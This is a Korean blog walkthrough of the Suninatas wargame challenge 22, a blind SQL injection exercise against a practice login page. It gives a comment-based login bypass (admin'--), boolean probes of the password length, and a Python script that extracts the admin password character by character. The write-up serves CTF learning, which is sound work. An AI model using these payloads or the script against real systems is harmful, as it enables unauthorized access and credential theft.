-
<Suninatas> 22번 문제Wargame/Suninatas 2021. 11. 5. 17:17
Blind Sql Injection 문제인 듯하다.
Blind Sql Injection은 Sql Injection과 동일하지만, 데이터 베이스에서 데이터를 검색하는 방법만 다르다. 데이터베이스가 웹 페이지에 데이터를 출력하지 않을 때 공격자는 데이터베이스에 일련의 참 또는 거짓 질문을 하여 데이터를 빼내는 기법이다. 한 문자씩 추출해서 DB의 정보를 알아낼 수 있다.
우선, 페이지 소스코드를 먼저 살펴본다.
<!DOCTYPE html> <html> <head> <title>Game 22</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <link rel="shortcut icon" href="/static/img/game.ico" /> </head> <body> <form method="get" action="./web22.asp"> <br> <br> <br> <br> <br> <br> <br> <table width="400" cellpadding="0" cellspacing="0" align="center"> <tr height="30"> <td width="200" class="table_top" align="center"> <input type="button" name="main_btn" value="main" style="width: 60" onclick="location.href = '/'"></td> <td width="200" class="table_top" align="center"> <input type="button" name="main_btn" value="Back" style="width: 60" onclick="history.back()"></td> </tr> <tr height="30" class="table_main"> <td width="120" align="center" bgcolor="cccccc"><font size="2"><b>   id</b></font></td> <td width="280" align="center" bgcolor="cccccc"> <input type="text" name="id" style="width: 230"></td> </tr> <tr height="30" class="table_main"> <td align="center" bgcolor="cccccc"><font size="2"><b>pw</b></font></td> <td align="center" bgcolor="cccccc"> <input type="password" name="pw" style="width: 230" maxlength="15"></td> </tr> <tr height="30"> <td colspan="2" align="center" class="table_top" bgcolor="cccccc"> <input type="button" name="btn" value="Login" onclick="submit()" size="20"></td> </tr> <tr class="table_main" height="30"> <td colspan="2" align="center" bgcolor="cccccc"><b>OK <font size=4 color=blue>admin</font></b></td> </tr> <tr height="30"> <td colspan="2" align="center" class="table_top" bgcolor="cccccc">Filtering Keywords</td> </tr> <tr class="table_main" height="30"> <td colspan="2" align="center" bgcolor="cccccc">select / Union / or / white space / by / having <br> from / char / ascii / left / right / delay / 0x .......... </td> </tr> </table> </form> </body> </html> <!-- Hint : guest / guest & Your goal is to find the admin's pw --> <!-- M@de by 2theT0P -->
아이디와 패스워드를 GET 방식으로 제공하고,
아래를 보면 guest의 정보를 제공하고 admin의 비밀번호를 찾으라고 한다.
guest/guest로 먼저 로그인해보면
'OK guest'라는 메시지가 뜬다. 로그인이 되었다.
이제 admin으로 로그인해 보겠다. admin/password로 로그인해보면
'No hack'라고 뜨는 걸로 봐서 'password'를 포함해서 아래의 키워드들은 필터링이 이뤄지고 있는 것을 확인할 수 있다.
admin/admin으로 로그인해보면
'False'라는 메시지가 출력된다. 즉, 로그인 정보가 맞으면 'OK {name}'을 틀리면 'False', 필터링되는 키워드가 포함되면 'No hack'이 출력되는 것을 알 수 있다.
위 필터링 키워드에 없는 '--'(주석)을 사용하여 우회해보면(비밀번호는 주석처리되므로 아무거나)
아이디 : admin'--
비밀번호 : ex) 123
'OK admin' 메시지와 함께 로그인이 되었다.
비밀번호를 찾기위해 우선 비밀번호의 길이를 알아보면
아이디 : admin' and len(pw) > 9--
비밀번호의 길이는 9보다 큰 것을 확인할 수 있다.
아이디 : admin' and len(pw) > 10--
'False'가 출력되는걸로 보아 비밀번호의 길이는 10인 것을 알 수 있다.
이제 한 글자씩 확인하면 된다.
아이디 : admin' and substring(pw,[1~10],1)='['a'-'Z']'--
직접 손으로 한 글자 씩 확인할 수 있지만, 경우의 수가 제법 많다.
그러므로 파이썬으로 구현할 수 있다.
import requests pw = '' baseurl = "http://suninatas.com/challenge/web22/web22.asp" for i in range(1, 11): for j in range(33, 128): url = baseurl+"?id=admin' and unicode(substring(pw,{},1))={}--&pw=123".format(i,j) cookies = {'PHPSESSID':'자기 SESSIONID'} res = requests.get(url=url, cookies=cookies) if res.text.find("OK") != -1: pw += chr(j) break print("password : ", pw)
실행하면 비밀번호를 획득할 수 있다.
'Wargame > Suninatas' 카테고리의 다른 글
<Suninatas> 23번 문제 (0) 2021.11.07 <Suninatas> 8번 문제 (0) 2021.11.01 <Suninatas> 7번 문제 (0) 2021.10.31 <Suninatas> 6번 문제 (0) 2021.10.31 <Suninatas> 5번 문제 (0) 2021.10.29